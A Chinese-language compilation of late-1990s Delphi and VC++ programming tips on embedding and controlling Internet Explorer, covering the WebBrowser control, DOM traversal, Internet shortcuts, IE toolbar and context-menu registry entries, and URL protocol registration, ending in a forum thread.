---- 这样我们就得到了网页对象的接口，然后我们就可以对网页进行分析，比如通过IHTMLDocument2提供的方法get_URL我们可以得到和该网页相关的URL的地址值，通过get_forms方法可以该网页中所有的Form对象的集合。实际上W3C组织已经制定了一个DOM（Document Objec Model）标准，当然这个标准不仅仅是针对HTML，同时还是针对XML制定的。W3C组织只是定义了网页对象的接口，不同的公司可以采用不同的语言和方法进行具体的实现。按照W3C组织定义的网页对象被认为是动态的，即用户可以动态的对网页对象里面所包含的每一个对象进行操作。这里的对象可以是指一个输入框，也可以是图象和声音等对象。同时按照W3C的正式文档的说明，网页对象是可以动态增加和删除的。事实上，很少有厂商实现了DOM定义的所有功能。微软对网页对象的定义也基本上是按照这个标准实现的。但是当前的接口还不支持动态的增加和删除元素，但是可以对网页中的基本元素进行属性的修改。比如IHTMLElementCollection表示网页中一些基本的元素的集合，IHTMLElement表示网页中的一个基本的元素。而象IHTMLOptionElement接口就表示一个特定的元素Option。基本的元素都有setAttribute和geAttribute方法来动态的设置和得到元素的名称和值。

---- 较为常见的一个应用是我们能够分析网页中是否有需要填写的Forms，如果这个网址的Forms以前已经填写过而且数据我们已经保存下来的话，我们就可以把数据自动放到和该URL下的Forms的相关的位置中去。另外，我们可以总结网页上需要填写的Form的数据项，先对这些数据项进行赋值，以后碰到有相同的数据项的时候就自动把我们赋值的内容填写进去。实际上Form是对象，Form中包含的元素，比如INPUT，OPTION，SELECT等类型的输入元素都是对象。

---- 另外一个可以想到的应用是自动对网页中的文本进行翻译，因为我们可以修改网页中任何对象的属性，所以我们可以把里面不属于本国语言的部分自动翻译成本国语言，当然真正的实现还要靠自然语言理解方面技术的突破，但是IE浏览器的接口和对象的形式使我们能够灵活的控制整个IE，无论是从事件对象还是到网页对象。

---- 5．小结

---- 上面我们分析了如何得到所有IE的实例，同时介绍了和IE实例相捆绑的DLL的详细的实现机制，同时对网页的对象化进行了分析。并且介绍了几个相关的应用和实现的方法及存在的技术问题。IE是一个组件化的以COM为基础的浏览器，它具有强大的功能，同时为应用开发者留下了广阔的空间，当然它也存在体积比较大，速度相对比较慢的缺点。但是它的体系结构代表了微软先进的创新的技术，因此具有强大的生命力。


使用res协议

res协议可以使浏览器显示储存在资源中HTML
procedure TForm1.LoadHTMLResource;
var
Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
WebBrowser1.Navigate('res://' + Application.ExeName + '/myhtml', Flags, TargetFrameName, PostData, Headers)
end;

资源文件
MYHTML 23 ".\html\myhtml.htm"

MOREHTML 23 ".\html\morehtml.htm"

用bcc32编译
{$R *.RES}
{$R HTML.RES}


使用about协议

 about:协议可以浏览HTML字符串
procedure TForm1.LoadHTMLString(sHTML: String);
var
Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
WebBrowser1.Navigate('about:' + sHTML, Flags, TargetFrameName, PostData, Headers)
end;


边历框架

 procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
for i := 0 to (WebBrowser1.OleObject.Document.frames.Length - 1) do
if WebBrowser1.OleObject.Document.frames.item(i).document.queryCommandEnabled('Copy') then
ShowMessage('copy command is enabled for frame no.' + IntToStr(i));
end;


用对话框形式显示HTML

VC++ 程 序 中 用 对 话 框 的 形 式 显 示HTML 文 件

---- 在 安 装 了IE 4 后， 可 以 在 程 序 中 用 对 话 框 的 形 式 显 示HTML 文 件， 如 弹 出 用HTML 写 的 帮 助 文 件 等 等， 如 同 直 接 用 浏 览 器， 但 又 与 浏 览 器 风 格 不 同。

---- 其 实 现 如 下：

//在头文件或.cpp文件的开头
包含文件urlmon.h，定义函数
/////
#include "urlmon.h"
typedef HRESULT STDAPICALLTYPE SHOWHTMLDIALOGFN
 (HWND hwndParent, IMoniker
*pmk, VARIANT *pvarArgIn, TCHAR* pchOptions,
   VARIANT *pvArgOut);
//////

//函数显示对话框，成功返回TRUE,失败返回FALSE
BOOL ShowHtml()
{
HINSTANCE  hinstMSHTML = LoadLibrary
   (TEXT("MSHTML.DLL")); //装载动态连
接库
WCHAR url[]=L"HTTP://www.ccw.com.cn";
 //此地址名称可直接用html文件名代替

  if(hinstMSHTML)//装载动态连接库成功
  {
     SHOWHTMLDIALOGFN *pfnShowHTMLDialog;

     pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)
   GetProcAddress(hinstMSHTML,
TEXT  ("ShowHTMLDialog"));

     if(pfnShowHTMLDialog)
     {
     IMoniker *moniker=NULL;

        //
     if( FAILED(CreateURLMoniker(NULL,
     (LPWSTR)url,&moniker ) ))
     {
        FreeLibrary(hinstMSHTML);
       return FALSE;
      }

        //调用ShowHTMLDialog函数显示URL上的HTML文件
      pfnShowHTMLDialog(m_hWnd,moniker,NULL,NULL,NULL);

      if(moniker!=NULL)
          moniker->Release();

      //显示成功，返回TRUE
       return TRUE;

     }
     else //GetProcessAddress失败
      return FALSE;

   FreeLibrary(hinstMSHTML);
  }
  else //装载动态连接库失败
   return FALSE;
}


使快捷键有效

var
Form1: TForm1;
FOleInPlaceActiveObject: IOleInPlaceActiveObject;
SaveMessageHandler: TMessageEvent;

...

implementation

...

procedure TForm1.FormActivate(Sender: TObject);
begin
SaveMessageHandler := Application.OnMessage;
Application.OnMessage := MyMessageHandler;
end;

procedure TForm1.FormDeactivate(Sender: TObject);
begin
Application.OnMessage := SaveMessageHandler;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Application.OnMessage := SaveMessageHandler;
FOleInPlaceActiveObject := nil;
end;

procedure TForm1.MyMessageHandler(var Msg: TMsg; var Handled: Boolean);
var
iOIPAO: IOleInPlaceActiveObject;
Dispatch: IDispatch;
begin
{ exit if we don't get back a webbrowser object }
if WebBrowser = nil then
begin
Handled := False;
Exit;
end;

Handled:=(IsDialogMessage(WebBrowser.Handle, Msg) = True);

if (Handled) and (not WebBrowser.Busy) then
begin
if FOleInPlaceActiveObject = nil then
begin
Dispatch := WebBrowser.Application;
if Dispatch <> nil then
begin
Dispatch.QueryInterface(IOleInPlaceActiveObject, iOIPAO);
if iOIPAO <> nil then
FOleInPlaceActiveObject := iOIPAO;
end;
end;

if FOleInPlaceActiveObject <> nil then
if ((Msg.message = WM_KEYDOWN) or (Msg.message = WM_KEYUP)) and
((Msg.wParam = VK_BACK) or (Msg.wParam = VK_LEFT) or (Msg.wParam = VK_RIGHT)) then
//nothing - do not pass on Backspace, Left or Right arrows
else
FOleInPlaceActiveObject.TranslateAccelerator(Msg);
end;
end;


为何Copy、Cut命令无效

加上
initialization
OleInitialize(nil);

finalization
OleUninitialize;


边历表格

procedure TForm1.Button1Click(Sender: TObject);
var
i, j:
integer;
ovTable: OleVariant;
begin
ovTable :=
WebBrowser1.OleObject.Document.all.tags('TABLE').item(0);

for i := 0 to (ovTable.Rows.Length - 1) do
begin
for j := 0 to (ovTable.Rows.Item(i).Cells.Length - 1) do
begin
Memo1.Lines.Add(ovTable.Rows.Item(i).Cells.Item(j).InnerText;
end;
end;

end;


获得页面原码

使用IE5可以
var
HTMLDocument: IHTMLDocument2;
PersistFile: IPersistFile;
begin
...
HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
Persist := HTMLDocument as IPersistFile;
Persist.Save(StringToOleStr('test.htm'), True);

while HTMLDocument.readyState <> 'complete' do
Application.ProcessMessages;
...
end;


Navigate方法的PostData的用法

 PostData用于向页面提交信息，如'animal=cat&color=brown'
procedure TDBModule.Navigate(stURL, stPostData: String; var wbWebBrowser: TWebBrowser);
var
vWebAddr, vPostData, vFlags, vFrame, vHeaders: OleVariant;
iLoop: Integer;
begin
{Are we posting data to this Url?}
if Length(stPostData)> 0 then
begin
{头信息当PostData使.}
vHeaders:= 'Content-Type: application/x-www-form-urlencoded'+ #10#13#0;
vPostData:= VarArrayCreate([0, Length(stPostData)], varByte);
for iLoop := 0 to Length(stPostData)- 1 do
begin
vPostData[iLoop]:= Ord(stPostData[iLoop+ 1]);
end;
{结束字符}
vPostData[Length(stPostData)]:= 0;
{Set the type of Variant, cast}
TVarData(vPostData).vType:= varArray;
end;
vWebAddr:= stURL;
wbWebBrowser.Navigate2(vWebAddr, vFlags, vFrame, vPostData, vHeaders);
end;


激活查找、选项、查看原码功能

const
HTMLID_FIND = 1;
HTMLID_VIEWSOURCE = 2;
HTMLID_OPTIONS = 3;

...

procedure TForm1.FindIE;
const
CGID_WebBrowser: TGUID = '{ED016940-BD5B-11cf-BA4E-00C04FD70816}';
var
CmdTarget : IOleCommandTarget;
vaIn, vaOut: OleVariant;
PtrGUID: PGUID;
begin
New(PtrGUID);
PtrGUID^ := CGID_WebBrowser;
if WebBrowser1.Document <> nil then
try
WebBrowser1.Document.QueryInterface(IOleCommandTarget, CmdTarget);
if CmdTarget <> nil then
try
CmdTarget.Exec( PtrGUID, HTMLID_FIND, 0, vaIn, vaOut);
finally
CmdTarget._Release;
end;
except
// Nothing
end;
Dispose(PtrGUID);
end;


装载字符串进浏览器

var
v: Variant;
HTMLDocument: IHTMLDocument2;
begin
HTMLDocument := WebBrowser1.Document as
IHTMLDocument2;
v := VarArrayCreate([0, 0], varVariant);
v[0] := HTMLString; // Here's your HTML string
HTMLDocument.Write(PSafeArray(TVarData(v).VArray));
HTMLDocument.Close;

...
end;


浏览器中加载流

 function TForm1.LoadFromStream(const AStream: TStream): HRESULT;
begin
AStream.seek(0, 0);
Result := (WebBrowser1.Document as IPersistStreamInit).Load(TStreamAdapter.Create(AStream));
end;


判断浏览器当前正在浏览的页面地址

function URLInfo(sBrowerPrgFile, sServiceName: string; Netscape: boolean; var Title: string): pChar;
{
参数说明:
sBrowerPrgFile: 浏览器exe文件的完整路径名
sServiceName: 浏览器的DDE-Service名字
Netscape是'Netscape',IE是'iexplore'
Title: 返回当前网页的title
返回值: pChar的字符串
}
var
DDEClientConv: TDDEClientConv;
StartPtr, EndPtr: pchar;
browserWinName: string;
begin
result:= #0;
Title:= '';

if (sBrowerPrgFile = '') or (not FileExists(sBrowerPrgFile)) then
raise EBrowserNotFoundError.create('shit!浏览器应用程序不存在!');

ddeClientConv:= TDDEClientConv.Create( nil );
try
with ddeClientConv do
begin
ServiceApplication := sBrowerPrgFile;
SetLink( sServiceName,'WWW_GetWindowInfo');
StartPtr:= RequestData('0xFFFFFFFF');
end;
finally
ddeClientConv.Free;
end;

  if startPtr^ = #0 then
exit;
{skip leading "}
inc(StartPtr);
EndPtr:= StartPtr;
{proceed to next
"}
while (EndPtr^ <> '"')
do
inc(EndPtr);
{terminate URL string}
EndPtr^:= #0;
result:= StartPtr;
{skip ","}
StartPtr:= EndPtr+3;
if Netscape
then
inc(StartPtr,12);

EndPtr:= StartPtr;
if Netscape then
while (EndPtr^ <> ']') do
inc(EndPtr)
else
while (EndPtr^ <> '"') do
inc(EndPtr);

EndPtr^:= #0;
Title:= strPas(StartPtr);
end;


自动点击联接的程序

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
OleCtrls, SHDocVw, StdCtrls, ExtCtrls,MSHtml;

type
TForm1 = class(TForm)
Panel1: TPanel;
Edit1: TEdit;
Label1: TLabel;
NavigateBtn: TButton;
WebBrowser1:
TWebBrowser;
procedure NavigateBtnClick(Sender: TObject);
procedure WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.NavigateBtnClick(Sender: TObject);
begin
webbrowser1.Navigate(edit1.text);

end;

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
Links:IHTMLElementCollection;
Doc:IHTMLDocument2;
len:integer;
item:olevariant;
begin
Doc:=webbrowser1.document as IHtmlDocument2;
links:=Doc.links;
len:=links.length;
if len>0 then
begin
Item:=links.item(0,varEmpty);
item.click;
end;
end;

end.


在IE工具栏上添加按钮

只有IE5才支持

Note This tutorial describes how to add a toolbar button for all users. If you
want the toolbar button displayed
for the current user only, substitute HKEY_CURRENT_USER for HKEY_LOCAL_MACHINE in the
steps below.

Create a valid globally unique identifier (GUID). You can use Guidgen.exe (which ships
with Microsoft? Visual Studio?) or Uuidgen.exe (which ships in the Microsoft? Platform Software
Development Kit(SDK). ).
Create a new key (with the GUID as the name) in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>

<Your GUID> is the valid GUID that you created in step 1.

Optional. Create a new string value, Default Visible, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\Default Visible

To make the toolbar button to appear on the Internet Explorer toolbar by default, set Default
Visible to "Yes",
otherwise set Default Visible to "No".
Note If the user has customized the toolbar, the button will not appear on the
toolbar automatically. The toolbar button
will be added to the choices in the Customize Toolbar dialog box and will appear if the
toolbar is reset.

Create a new string value, ButtonText, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\ButtonText

Set the value of ButtonText to the label you want for the toolbar button.

Create a new string value, HotIcon, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\HotIcon

Set the value of HotIcon to the full path of the .ico file that contains the
three color icons.

Create a new string value, Icon, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\Icon

Set the value of Icon to the full path of the .ico file that contains the three
grayscale icons.

Optional. Provide support for multiple native languages (like French or Japanese). Complete
the following steps to support different native languages:
Determine the LCID of the native language you want to support. These values can be found
in the Microsoft?
Platform Software Development Kit(SDK).
Create a new key, Lang####, using the LCID from the previous step in place of
"####" in the registry under; HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\Lang####

For example, the key name should be Lang0411 for a Japanese implementation, since the
LCID for Japanese is 0411.

Adding the Details

After completing the initial step of creating a new registry key, you will add values
under the key. The values that you will need
and the other steps to follow depend on what the toolbar button is going to run. The
following list contains links to the sections
with the steps required to complete the addition of a toolbar button.

COM Objects
Explorer Bars
Scripts
Executable Files

COM Objects

The following steps are required to complete the creation of a toolbar button that
implements a COM object. If any
information (that isn't optional) is omitted, the toolbar button will not be displayed.

Note This tutorial describes how to add a toolbar button for all users. If you
want the toolbar button displayed for the current
user only, substitute HKEY_CURRENT_USER for HKEY_LOCAL_MACHINE in the steps below.

Register the COM object.
Create a new string value, CLSID, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\CLSID

Set the value of CLSID equal to {1FBA04EE-3024-11d2-8F1F-0000F87ABD16}.

Create a new string value, ClsidExtension, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\ClsidExtension

Set the value of ClsidExtension equal to the GUID of the COM object.

In addition to the previous steps, the COM object must implement IOleCommandTarget.

If your COM object needs to access the DHTML Object Model of the page that Internet
Explorer is currently displaying, you
must implement IObjectWithSite.

The implementations of IOleCommandTarget's methods are standard, except for IOleCommandTarget::Exec.
The COM
object's IOleCommandTarget::Exec method is called with nCmdID=1 if the
toolbar button is clicked and nCmdID=2 if
the menu item is clicked. This difference allows developers to provide different behaviors
for the toolbar button and the menu
item.

When IObjectWithSite is implemented, Internet Explorer will call IObjectWithSite::SetSite
and pass it a pointer to IShellBrowser.

Explorer Bars

The following steps are required to complete the creation of a toolbar button that
opens an Explorer Bar. If any information
(that isn't optional) is omitted, the toolbar button will not be displayed.

Note This tutorial describes how to add a toolbar button for all users. If you
want the toolbar button displayed for the current
user only, substitute HKEY_CURRENT_USER for HKEY_LOCAL_MACHINE in the steps below.

Create a new string value, CLSID, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\CLSID

Set the value of CLSID equal to {E0DD6CAB-2D10-11D2-8F1A-0000F87ABD16}.

Create a new string value, BandCLSID, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\BandCLSID

Set the value of BandCLSID to the CLSID of the Explorer Bar you want to open.

Note All Explorer Bars have a menu item added to the View menu automatically.

Scripts

The following steps are required to complete the creation of a toolbar button that runs
a script. If any information (that isn't
optional) is omitted, the toolbar button will not be displayed.

Note This tutorial describes how to add a toolbar button for all users. If you
want the toolbar button displayed for the current
user only, substitute HKEY_CURRENT_USER for HKEY_LOCAL_MACHINE in the steps below.

Create a new string value, CLSID, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\CLSID

Set the value of CLSID equal to {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}.

Create a new string value, Script, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\Script

Set the value of Script to the full path of the script that will be run.

To add a menu item in the Tools menu with the same functionality, see Scripts in the Adding Menu Items tutorial.

Executable Files

The following steps are required to complete the creation of a toolbar button that runs
an .exe file. If any information (that isn't
optional) is omitted, the toolbar button will not be displayed.

Note This tutorial describes how to add a toolbar button for all users. If you
want the toolbar button displayed for the current
user only, substitute HKEY_CURRENT_USER for HKEY_LOCAL_MACHINE in the steps below.

Create a new string value, CLSID, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\CLSID

Set the value of CLSID equal to {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}.

Create a new string value, Exec, in the registry under: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\<Your GUID>
The result should look like:
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions\<Your GUID>\Exec

Set the value of Exec to the full path of the .exe file that will be run.


创建Internet快捷方式

---- 在Windows中，为了方便文件或者文件夹的访问，我们常常为某些文件或者文件夹建立快捷方式（shortcut）。同样，在Internet Explorer中，我们也可以为自己喜爱的网址建立Internet快捷方式（Internet Shortcut）。只要点击快捷方式，Internet Explorer就会启动，并联接到相应的网站。事实上，除了Internet Explorer可以创建Internet快捷方式之外，在我们的应用程序中也同样可以实现此功能。在本文中，我将要向读者介绍如何在Delphi程序中为网址建立Internet快捷方式。

---- Internet快捷方式的格式

---- 为了分析Internet快捷方式的文件格式，我们可以先用Internet Explorer为某个网址建立一个快捷方式，然后在DOS窗口中用DIR命令找到Internet快捷方式所对应的文件，并且用edit查看文件的内容。不难发现，Internet快捷方式的文件格式与INI文件的格式是一样的，只不过它的扩展名必须是 .URL罢了。 Internet快捷方式的文件格式如下：

[DEFAULT]
BASEURL=

[InternetShortcut]
URL=
WorkingDirectory=
ShowCommand=
IconIndex=
IconFile=
Modified=
HotKey=

---- 其中BASEURL、URL和WorkingDirectory这3项的含义是不言而明的。ShowCommand规定Internet Explorer启动后窗口的初始状态：7表示最小化，3表示最大化；如果没有ShowCommand这一项的话则表示正常大小。IconFile和IconIndex用来为Internet快捷方式指定图标；如果你不想指定图标，Windows会使用缺省的Internet快捷方式图标。HotKey指定一个整数值；HotKey的值及其含义如下：

833 - Ctrl + Shift + A
834 - Ctrl + Shift + B
835 - Ctrl + Shift + C
836 - Ctrl + Shift + D
837 - Ctrl + Shift + E
838 - Ctrl + Shift + F
…
1601 - Ctrl + Alt + A
1602 - Ctrl + Alt + B
1603 - Ctrl + Alt + C
1604 - Ctrl + Alt + D
1605 - Ctrl + Alt + E
1606 - Ctrl + Alt + F
...

一个简单的Internet快捷方式只需要在
[InternetShortcut]节中包含URL项就可以了，例：
[InternetShortcut]
URL=http://www.yahoo.com

---- 快捷方式的创建

---- 接下来，我们来看一个非常简单的Delphi例子。此程序将在Windows的桌面上建一个一个名为“计算机世界”的快捷方式，它指向《计算机世界》的首页；快捷方式的图标使用Windows 98/95中System目录（或者Windows NT中的System32目录）下的shell32.dll动态联接库中的第41号图标。

---- 由于Internet快捷方式的文件格式与INI文件的是相同的，我们可以使用Delphi的TiniFile类来读写.URL文件的内容。而要使快捷方式出现在桌面上，我们只要把.URL文件保存在Windows桌面所对应的那个目录之下即可。当前用户的桌面目录可以从注册表中获取，此信息保存在Windows注册表HKEY_CURRENT_USER 根键下的Software\Microsoft\Windows
\CurrentVersion\Explorer\Shell Folders主键的Desktop项中。

---- 示例程序的单元文件的代码如下：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,7
StdCtrls, Registry, IniFiles;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
ini:TIniFile;
Reg:TRegistry;
DesktopPath, FileName, S:String;
Buf:array[0..max_path]of char;
begin

//获取当前用户Desktop文件夹的路径
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
try
Reg.OpenKey('Software\Microsoft\Windows
\CurrentVersion\Explorer\Shell Folders',False);
if Reg.ValueExists('Desktop') then
DesktopPath:=Reg.ReadString('Desktop');
finally
Reg.Free;
end;
if (DesktopPath< >'')and(DesktopPath
[Length(DesktopPath)]< >'\')
then DesktopPath:=DesktopPath+'\';

//将Buf清零
FillChar(Buf,SizeOf(Buf),0);
//获取Win98/95中的System
文件夹或者NT中的System32文件夹的路径
GetSystemDirectory(Buf,SizeOf(Buf));
S:=Buf;
if
(S<  >'')and(S[Length(S)]<  >'\') then
S:=S+'\';
S:=S+'shell32.dll';

//Internet快捷方式的文件名（扩展名必须是URL）
FileName:=DesktopPath+'计算机世界.url';
ini:=TIniFile.Create(FileName);
//指定URL
ini.WriteString('InternetShortcut','URL',
'http://www.computerworld.com.cn');
//指定图标文件
ini.WriteString('InternetShortcut','IconFile',S);
ini.WriteString('InternetShortcut','IconIndex','41');
ini.Free;
end;

end.


截获浏览器对特定文件的单击

procedure RegisterFile;

var Reg: TRegistry;

begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
Reg.OpenKey('\.txt', True);
Reg.WriteString('',
'MyProgram');
Reg.OpenKey('\MyProgram', True);
Reg.WriteString('', 'a very special file');
Reg.OpenKey('\MyProgram\DefaultIcon', True);
Reg.WriteString('', Application.ExeName + ', 1');
Reg.OpenKey('\MyProgram\Shell\open\command', True);
Reg.WriteString('', Application.ExeName + ' "%1"');
ShowMessage('successfully registered');
finally
Reg.Free;
end;
end;

var
I: Word;
begin
for I := 0 to ParamCount do
begin
memo1.lines.add(ParamStr(I));
end;
end;


用程序设定ie的编辑控制的字符串

var wnd:hwnd;
URL:string;
begin
wnd:=findwindow('CabinetWClass',nil);
wnd:=findwindowex(wnd,0,'Worker',nil);
wnd:=findwindowex(wnd,0,'ReBarWindow32',nil);
wnd:=findwindowex(wnd,0,'ComboBoxEx32',nil);
wnd:=findwindowex(wnd,0,'ComboBox',nil);
wnd:=findwindowex(wnd,0,'Edit',nil);

if wnd<>0 then
begin
URL:='http://www.gislab.ecnu.edu.cn/delphibbs';
sendmessage(wnd, WM_SETTEXT, length(URL), longint(pchar(URL)));
end;

BTW:奇怪的是,反过来却不行,无法用WM_GETTEXT得到地址栏的内容


启动浏览器显示URL在新窗口中

uses
DdeMan,
{$IFDEF WIN32}
Registry; {We will get it from the registry}
{$ELSE}
IniFiles; {We will get it from the win.ini file}
{$ENDIF}

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

function GetProgramAssociation (Ext : string) : string;
var
{$IFDEF WIN32}
reg: TRegistry;
s : string;
{$ELSE}
WinIni : TIniFile;
WinIniFileName : array[0..MAX_PATH] of char;
s : string;
{$ENDIF}
begin
{$IFDEF WIN32}
s := '';
reg := TRegistry.Create;
reg.RootKey := HKEY_CLASSES_ROOT;
if reg.OpenKey('.' + ext + '\shell\open\command',
false) <> false then begin
{The open command has been found}
s := reg.ReadString('');
reg.CloseKey;
end else begin
{perhaps thier is a system file pointer}
if reg.OpenKey('.' + ext,
false) <> false then begin
s := reg.ReadString('');
reg.CloseKey;
if s <> '' then begin
{A system file pointer was found}
if reg.OpenKey(s + '\shell\open\command',
false) <> false then
{The open command has been found}
s := reg.ReadString('');
reg.CloseKey;
end;
end;
end;
{Delete any command line, quotes and spaces}
if Pos('%', s) > 0 then
Delete(s, Pos('%', s), length(s));
if ((length(s) > 0) and
(s[1] = '"')) then
Delete(s, 1, 1);
if ((length(s) > 0) and
(pos('"', s) > 0)) then
Delete(s, pos('"', s), Length(s));
while ((length(s) > 0) and
(s[length(s)] = #32)) do
Delete(s, Length(s), 1);
{$ELSE}
GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
StrCat(WinIniFileName, '\win.ini');
WinIni := TIniFile.Create(WinIniFileName);
s := WinIni.ReadString('Extensions',
ext,
'');
WinIni.Free;
{Delete any command line}
if Pos(' ^', s) > 0 then
Delete(s, Pos(' ^', s), length(s));
{$ENDIF}
result := s;
end;

procedure StartNewBrowserWindow(URL : string);
var
DDEConv : TDDEClientConv;
URLFired : bool;
App : string;
UpApp : string;
p : array[0..MAX_PATH] of char;
begin
UrlFired := false;
App := GetProgramAssociation('HTM');
UpApp := Uppercase(App);
Delete(App, Pos('.EXE', UpAPP), length(App));
if Pos('NETSCAPE.EXE',
UpApp) > 0 then begin
DDEConv:=TDDEClientConv.Create(nil);
DDEConv.ServiceApplication := App;
if DDEConv.SetLink('NETSCAPE' , 'WWW_OpenURL') then
if DDEConv.RequestData(URL +
',,0x0,0x0') <> nil then
if DDEConv.SetLink('NETSCAPE', 'WWW_Activate') then
URLFired := DDEConv.RequestData('0xFFFFFFFF,0x0') <> nil;
DDEConv.Free;
end else
if Pos('IEXPLORE.EXE',
UpApp) > 0 then begin
DDEConv:=TDDEClientConv.Create(nil);
DDEConv.ServiceApplication := App;
if DDEConv.SetLink('iexplore', 'WWW_OpenURL') then
if DDEConv.RequestData(URL + ',,0') <> nil then
if DDEConv.SetLink('iexplore', 'WWW_Activate') then
URLFired := DDEConv.RequestData('0,0') <> nil;
DDEConv.Free;
end;
if UrlFired = false then
WinExec(StrPCopy(@p, URL), SW_SHOWNORMAL);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
StartNewBrowserWindow('http://www.borland.com');
StartNewBrowserWindow('http://www.yahoo.com');
end;


自己的菜单添加到IE的右键菜单里面去

步骤如下:

-打开注册表编辑器
-建立主键
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
再建立主键
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\My New Menu
其中"My new Menu"改成你要显示在菜单中的名字
-修改该主键的"默认"值为......(此处删去2000字)

哈哈,开个玩笑,省略号部分我还没搞懂,书上说"默认"值修改为你要通过该菜单
执行的URL,一般也就是一个Javascript文件, IE会把必要的参数传给你.

但是我希望最好能够直接执行一个exe文件,所以我把"默认"值指向一个exe文件,
结果好像没有反应....还得继续试验!!


读取系统默认的浏览器和email,ftp设置.如何把我的程序注册成为系统默认了浏览器?

来自：tqz 时间：99-9-5 21:01:54 ID:131381
呵呵，我找到了，from MSDN

Appendix A: Registering an Application to a URL Protocol
To enable an application to handle a particular URL protocol you must
add a new key, with the appropriate keys and values, to the registry
in HKEY_CLASSES_ROOT.

The new registry key must match the protocol scheme that is being
added. For instance, to add the protocol note:, the key added to
HKEY_CLASSES_ROOT should be note. Under this new key, the Default

string value should be the name of the new protocol, and the
URLProtocol string value should contain either protocol-specific
information or an empty string. Also under the new key, a DefaultIcon
key and a shell key should be added. The Default string value under
the DefaultIcon key must be the file name to use as an icon for this
new URL protocol. Under the shell key, a key using a verb (such as
open) should be added. A command key and a DDEEXEC key can be added
under the key using a verb. The values under the command and DDEEXEC

keys are used to call the application.

The following example shows which registry values must be added to
register a new application (notepad.exe in this example) to handle a
new URL protocol (note:).

[HKEY_CLASSES_ROOT]
[note]
(Default) = "URL:Note Protocol"
URL Protocol = ""
[DefaultIcon]
(Default) = "notepad.exe"
[shell]
[open]
[command]
(Default) = "c:\windows\notepad.exe %1"

By adding these settings to the registry, attempts to navigate to
URLs such as note:c:\myfile.txt would launch Notepad to edit the file
c:\myfile.txt. Of course, all the commands supported under Shell\Open
are supported, including DDEEXEC (in other words, "command" is not
the only key you can put under the verb).

--------------------------------------------------------------------------------
来自：cytown 时间：99-9-6 13:16:11 ID:131525
browser:
